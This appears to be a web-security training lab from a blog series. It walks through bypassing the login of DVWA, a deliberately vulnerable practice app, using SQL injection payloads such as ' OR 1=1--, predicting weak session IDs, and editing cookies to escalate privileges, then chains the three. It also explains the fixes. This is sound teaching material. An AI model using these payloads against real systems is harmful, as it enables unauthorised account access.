Authentication is the front door of every web application. Break it and everything behind it is accessible regardless of what other controls exist. I’ve seen applications with excellent SQL injection protection, solid XSS filtering, and proper CSRF tokens — where the login form itself was vulnerable to a one-line SQL injection bypass that got you in as admin with no credentials at all.
Lab 26 covers three distinct authentication bypass attack classes that DVWA demonstrates explicitly: SQL injection in login forms, session ID prediction from DVWA’s Weak Session IDs lab, and cookie manipulation for privilege escalation. Each one is a different failure mode. The SQL injection failure is a query construction problem. The session ID failure is an entropy problem. The cookie manipulation failure is a trust problem — the application trusts values stored client-side without server-side validation.
Work through this lab and you’ll have bypassed DVWA’s login via SQL injection, predicted session IDs from DVWA’s Weak Sessions lab, and manipulated cookie values to confirm the privilege escalation pattern. Then chain them into a single documented attack path.
Which authentication bypass technique have you practised in a lab?
DVWA Authentication Bypass Lab 26 Objectives
Bypass DVWA login with SQL injection — understand the vulnerable query structure
Analyse DVWA session cookies for entropy and predictability using Burp Sequencer
Exploit DVWA Weak Session IDs across all three security levels
Chain authentication bypass findings into a documented account takeover path
The vulnerable login query structure is predictable: SELECT * FROM users WHERE username='INPUT' AND password='INPUT'. When the application drops user input directly into this query without parameterisation, injecting SQL syntax into the username field changes the query’s logic entirely.
The classic payload is ' OR 1=1-- . What this does to the query: the first ' closes the username string. OR 1=1 adds an always-true condition. -- (note the trailing space) comments out everything after it, including the AND password check. The resulting query returns every row in the users table where the username is blank OR 1 equals 1 — which is every row. The application receives a result set, sees a valid user, and logs you in as the first user returned (typically admin).
SQL INJECTION LOGIN BYPASS — PAYLOADS AND QUERY ANALYSIS
# Original vulnerable query
SELECT * FROM users WHERE username='[INPUT]’ AND password='[INPUT]’
# Classic bypass payload (username field)
Username: ‘ OR 1=1–
Password: anything
# Resulting query
SELECT * FROM users WHERE username=” OR 1=1– ‘ AND password=’anything’
^^ commented out
# What the database sees
SELECT * FROM users WHERE username=” OR 1=1
→ Returns ALL rows (1=1 is always true)
→ Application takes first row → admin
→ Login succeeds as admin with no valid password
# Login as specific user (if you know the username)
Username: admin’–
Password: anything
→ Authenticates as admin specifically, bypassing password check
# Alternative payload variants (if single-quote is filtered)
” OR “1”=”1 # double quotes
OR 1=1# # MySQL comment alternative
⚡ EXERCISE 1 — KALI TERMINAL (20 MIN)
Bypass DVWA Login with SQL Injection and Analyse the Vulnerable Source
⏱️ 20 minutes · DVWA + Burp Suite
The login bypass is a two-part exercise: confirm the attack works, then read the source code to understand exactly why it’s vulnerable. Both parts are essential — the payload shows you the attack, the source shows you the fix.
Step 1: Set DVWA security to Low
DVWA Security → Low → Submit
Step 2: Intercept the login in Burp
Enable Burp Intercept
Go to DVWA login: http://DVWA_IP/login.php
Enter any username/password → Submit → Burp catches the POST
Step 3: Modify the username parameter
In Burp Intercept, change:
username=test → username=’ OR 1=1–
(include the trailing space after –)
password=anything
Forward the request
Step 4: Confirm bypass
DVWA should now show the dashboard — login succeeded
What username is shown in the DVWA interface?
(You’re logged in as the first user in the database — admin)
Step 5: Read the vulnerable source code
DVWA login form → View Source button (bottom right)
Find the SQL query line
Identify: where is the user input dropped into the query?
Is there any input sanitisation?
Is the query parameterised?
Step 6: Test at Medium security
DVWA Security → Medium
Retry: ‘ OR 1=1–
Does it still work?
If not, try: ‘ OR ‘1’=’1
What filtering is applied at Medium vs Low?
Step 7: Test at High security
DVWA Security → High
Try all your payloads
View Source — what makes High level resistant?
(Answer: parameterised queries using PDO prepared statements)
✅ The source code comparison across Low, Medium, and High security is the single most instructive part of this exercise. Low uses direct string concatenation — your input goes straight into the query. Medium adds some filtering that you can bypass with variant payloads. High uses PDO prepared statements with parameterised queries — your input is treated as data, never as SQL syntax, and no injection payload can change the query structure. That’s the correct fix, and seeing it next to the vulnerable version makes the difference concrete. Every developer who writes authentication code should see this comparison.
📸 Screenshot the bypassed DVWA dashboard with Burp showing the injected username. Share in #dvwa-labs
Session ID Analysis — Entropy and Prediction
Session IDs need to be unpredictable. The requirement isn’t just that an attacker can’t guess your current session ID — it’s that even after observing many session IDs, no mathematical pattern should make future or current IDs predictable. A session ID generated from an incrementing integer is the worst case: you can enumerate the entire active session space by trying sequential values.
DVWA’s Weak Session IDs lab generates tokens using deliberately weak algorithms at each security level. Low: sequential integer. Medium: Unix timestamp. High: MD5 of a timestamp. Each one is predictable in different ways, and each demonstrates a real-world pattern that has appeared in production applications.
Access gained: full admin privilege from low-privilege session
↓ combined impact
RESULT: Full Account Takeover
Any of the three steps alone → access. All three documented → Critical chain.
📸 DVWA authentication bypass attack chain showing how three independent vulnerabilities compound into full account takeover. SQL injection bypasses credential validation entirely. Session ID prediction allows hijacking authenticated sessions without credentials. Cookie manipulation escalates a hijacked low-privilege session to admin. Any single step is a High finding. The documented chain demonstrating how an unauthenticated attacker reaches admin access through sequential exploitation of all three is the Critical finding that warrants emergency remediation priority.
← Single quote closes string, — comments out password check
Response: HTTP/1.1 302 Found
Location: /index.php
Set-Cookie: PHPSESSID=abc123; path=/
↑ Redirect to dashboard = login succeeded. Authenticated as admin without password.
📸 SQL injection authentication bypass in Burp Repeater. The payload admin’– closes the SQL string literal after ‘admin’ and appends a comment that nullifies the rest of the WHERE clause. The query becomes: SELECT * FROM users WHERE username=’admin’–‘ AND password=’anything’ — the password check is commented out entirely. The 302 redirect to /index.php confirms a successful login. This is the classic bypass that works on any login form with unsanitised string concatenation in the SQL query — still present in legacy applications and custom-built authentication systems that never used parameterised queries.
⚡ EXERCISE 2 — KALI TERMINAL (25 MIN)
Exploit DVWA Weak Session IDs Across All Three Security Levels
⏱️ 25 minutes · DVWA + Burp Suite
Session prediction requires understanding the generation algorithm before you can predict values. Work through all three DVWA security levels to map exactly what changes and what doesn’t fix the underlying problem.
Step 2: Capture session ID values at Low security
Click “Generate” button in DVWA (while intercepting in Burp)
Note the dvwaSession cookie value: ____
Disable Intercept → click Generate 4 more times (intercept each)
Record all 5 values. What is the pattern?
Step 3: Predict and test a session ID
Based on the pattern, what would the NEXT session ID be?
Modify your browser’s dvwaSession cookie to that predicted value
Reload DVWA — does the session remain valid?
What happens if you use a session ID value of “0”?
Step 4: Switch to Medium security and repeat
DVWA Security → Medium
Repeat Step 2 — capture 5 values
Decode: what is the format? (Unix timestamp, base64, MD5?)
What is the prediction attack against a Unix timestamp?
Step 5: Switch to High security and analyse
DVWA Security → High
Capture one dvwaSession value
Run: echo -n “VALUE” | md5sum (to check if it’s an MD5)
Try to reverse it: what is the MD5 of small integers?
echo -n “1” | md5sum
echo -n “2” | md5sum
Is the High security token a hash of something predictable?
Step 6: Use Burp Sequencer
At any security level: Sequencer → capture Set-Cookie with dvwaSession
Collect 100 tokens → Analyse
What is the effective entropy in bits?
At what entropy level would this session be secure?
✅ The Medium and High security findings from this exercise are the most practically valuable. Medium uses a Unix timestamp — which means if you can estimate when a user logged in (they visited the site at approximately 2pm today), you can brute-force a 3600-second window of timestamps to find their session ID. High uses MD5 of a timestamp — computationally harder to reverse but still in a predictable input space. The Burp Sequencer entropy reading is the number you’d put in a penetration test report: “Session tokens exhibit N bits of effective entropy; NIST SP 800-63B recommends a minimum of 128 bits.”
📸 Screenshot Burp Sequencer entropy analysis result. Share in #dvwa-labs
Cookie Manipulation and Privilege Escalation
Applications that store privilege information in client-side cookies without server-side validation are giving the attacker complete control over their own access level. If a cookie contains role=user encoded in base64 and the server trusts that value to determine what you can access, changing it to role=admin and re-encoding it is a privilege escalation with no exploitation required — just an edit.
In DVWA, the security cookie demonstrates this pattern. The security level is stored client-side and read by the application. Understanding this pattern is the prerequisite for recognising it in real applications, where it appears as JWT claims without signature validation, base64-encoded JSON objects in cookies, and serialised session data in predictable formats.
COOKIE ANALYSIS AND MANIPULATION
# Inspect all DVWA cookies in Burp
Burp → Proxy → HTTP History → any DVWA request → Cookies
# Cookies present in DVWA
PHPSESSID=abc123 ← PHP session identifier
security=low ← current security level (plaintext)
dvwaSession=N ← Weak Session IDs lab token
# DVWA security cookie manipulation
# In Burp Repeater: change security=low to security=high
# Does DVWA enforce the security level from this cookie?
→ Yes: demonstrates client-side security control
# Decode common cookie encoding formats
echo “dXNlcj1hZG1pbg==” | base64 -d
user=admin ← decoded value
# Re-encode a modified value
echo -n “user=admin&role=superadmin” | base64
dXNlcj1hZG1pbiZyb2xlPXN1cGVyYWRtaW4=
# Use this in the cookie and test if server accepts
PHPSESSID = a1b2c3d4e5f6 (assigned before authentication)
Post-login Session Token (secure behaviour)
PHPSESSID = z9y8x7w6v5u4 (NEW token issued after login)
Session regenerated — fixation attack prevented
Post-login Session Token (vulnerable behaviour)
PHPSESSID = a1b2c3d4e5f6 (SAME token as pre-login)
Session not regenerated — fixation attack viable
📸 Session fixation vulnerability analysis — comparing secure vs vulnerable post-login token behaviour. A secure implementation regenerates the session token immediately after authentication success, invalidating any pre-login token an attacker may have planted. A vulnerable implementation keeps the same session ID through the login event — if an attacker knew the pre-login session ID (by tricking the victim into using a specific ID), they can use it after the victim logs in to access the authenticated session. In DVWA’s authentication bypass lab, you test both behaviours at different security levels to understand what correct implementation looks like and how to identify the flaw in real applications.
⚡ EXERCISE 3 — KALI TERMINAL (20 MIN)
Chain All Three Authentication Bypass Findings
⏱️ 20 minutes · DVWA + Burp Suite · exercises 1 and 2 completed
The chain exercise brings together SQL injection bypass, session prediction, and cookie manipulation into a single documented attack narrative. This is the report structure that turns three separate Medium findings into one Critical chain.
Step 1: Document baseline state
Before any bypass: what can an unauthenticated user access in DVWA?
Try to access: http://DVWA_IP/dvwa/vulnerabilities/sqli/
Note: redirected to login
Step 2: Execute Step 1 — SQL injection login bypass
Bypass login with ‘ OR 1=1–
Document: exact payload, POST request, 302 response, resulting session
Step 3: Capture your session and confirm admin access
Open Burp → find Set-Cookie header with PHPSESSID
Note the PHPSESSID value
Confirm: are you accessing DVWA as admin?
Step 4: Execute Step 2 — demonstrate session prediction
Note your current dvwaSession value
Use Burp Repeater to request DVWA with dvwaSession modified to N-1
Does the request succeed? (Demonstrates another session is accessible)
Step 5: Execute Step 3 — cookie manipulation
Use Burp Repeater to change security=low to security=impossible
Does DVWA honour the manipulated security level cookie?
Try accessing a vulnerability page — has the security level changed?
Step 6: Write the attack chain documentation
Write in 3 numbered steps:
Step 1: [payload] → [result] (SQL bypass)
Step 2: [technique] → [result] (session prediction)
Step 3: [modification] → [result] (cookie manipulation)
Conclude: from unauthenticated to admin via 3 compounding flaws.
CVSS: what score does this chain deserve and why?
✅ The chain documentation you just wrote is the difference between three separate Medium bug reports and one Critical finding. Individual authentication weaknesses often rate Medium in isolation — each one requires some precondition or provides limited access. The documented chain proves an unauthenticated attacker can reach full admin access by exploiting them in sequence. That narrative — from nothing to everything in three steps — is what security teams respond to with emergency priority. The CVSS score for the chain reflects the total impact, not the average of the individual steps.
📸 Screenshot your attack chain documentation. Share in #dvwa-labs
SQL injection login bypass, session prediction at three security levels, and cookie manipulation — all three attack classes documented and chained. Lab 27 shifts to source code review: reading application code to find vulnerabilities before execution, the skill that separates testers who find problems from testers who find root causes.
🧠 Lab 26 Check
DVWA Medium security partially filters the ‘ OR 1=1– SQL injection login bypass. Why does filtering single quotes provide incomplete protection, and what is the correct mitigation?
❓ DVWA Authentication Bypass FAQ
How do you bypass DVWA login with SQL injection?
Inject ‘ OR 1=1– (with trailing space) as the username with any password. This transforms the query to return all users — the application logs you in as the first result (admin). In Burp, intercept the login POST and modify the username parameter directly. Works at Low security. Medium applies partial filtering. High uses parameterised queries — injection-proof.
What is the DVWA Weak Session IDs vulnerability?
DVWA generates session tokens from predictable algorithms. Low: sequential integer (1,2,3…). Medium: Unix timestamp. High: MD5 of a timestamp. All three allow prediction of other users’ session IDs because the input space is too small or structured. Strong session IDs require cryptographically secure random generation with 128+ bits of entropy.
How do you test for authentication bypass?
Test: SQL injection in login forms, parameter removal, direct URL access without authentication, session token entropy analysis with Burp Sequencer, cookie manipulation (decode and modify role/user values), and password reset flow vulnerabilities. Burp Suite Proxy and Repeater are the primary tools for all authentication testing.
What DVWA security level is needed for SQL injection login bypass?
Low security. Medium partially filters but can be bypassed with variant payloads. High uses PDO prepared statements — correct mitigation, structurally immune to SQL injection. Testing all three levels shows exactly why parameterised queries are the fix, not input filtering.
What is session fixation vs session prediction?
Session fixation: attacker sets a session ID before authentication; application assigns that same ID post-auth. Session prediction: attacker generates valid IDs based on predictable token generation (sequential integers, timestamps). DVWA’s Weak Session IDs lab demonstrates prediction. Both exploit insufficient session token entropy.
How do you find weak session IDs with Burp Suite?
Burp Sequencer: capture a Set-Cookie response, right-click → Send to Sequencer. Run live capture of 100+ tokens, analyse entropy. Low entropy = predictable. Also manually inspect: decode base64 values, check MD5 reverse lookups, look for sequential patterns across multiple sessions. NIST SP 800-63B recommends 128+ bits effective entropy for session tokens.
← Previous
Lab 25 — Automated Scan Lab
Next →
Lab 27 — Source Code Review
Session management failures are some of the most impactful authentication vulnerabilities precisely because they bypass all the protections on the login form itself. A login form with CAPTCHA, rate limiting, MFA, and perfect SQL injection resistance is still completely bypassable if session tokens are predictable, if session fixation is possible, or if the application accepts tokens after logout. The authentication mechanism is only as strong as its weakest component — and session management is the component most frequently implemented by developers who’ve secured the login form but haven’t thought through the token lifecycle from creation to expiry to regeneration. This lab trains the complete lifecycle analysis.
📚 Further Reading
Lab 25 — Automated Scan Lab— The scanner gap analysis that confirmed automated tools miss authentication bypass entirely — the motivation for the manual testing approach in this lab.
Lab 23 — SQLi to OS Shell— SQL injection beyond login bypass — escalating from database read access to OS command execution, the full exploitation chain from the same vulnerability class.
Brute Force Modern Login Pages 2026— The complementary attack class to SQL injection login bypass — when the query is parameterised and injection is blocked, systematic credential testing is the next vector.
OWASP — Broken Authentication Reference— The full OWASP broken authentication category covering all vulnerability patterns in this lab, remediation guidance, and the authentication failure modes most commonly found in real applications.
PortSwigger — Authentication Vulnerabilities Labs— Free lab environment for practising all authentication bypass techniques covered in this DVWA lab, with guided solutions and real application simulations beyond DVWA’s scope.
ME
Mr Elite
Owner, SecurityElites.com
The authentication chain finding on a real engagement that I think about most was a financial application where each individual finding rated Medium. SQL injection in the login: Medium, because it required a fairly specific payload to work at the security level they’d implemented. Session prediction: Medium, because the timestamp-based tokens had a 900-second brute-force window that limited practical exploitation. Cookie manipulation: Medium, because the escalation only worked on one specific endpoint. The chain report rated Critical — same three findings, same two paragraphs of technical detail each, but with a documented path from unauthenticated to admin account access that the client’s CISO read in full and cited in the emergency board briefing. Write the chain. It’s the same work with 10× the impact.
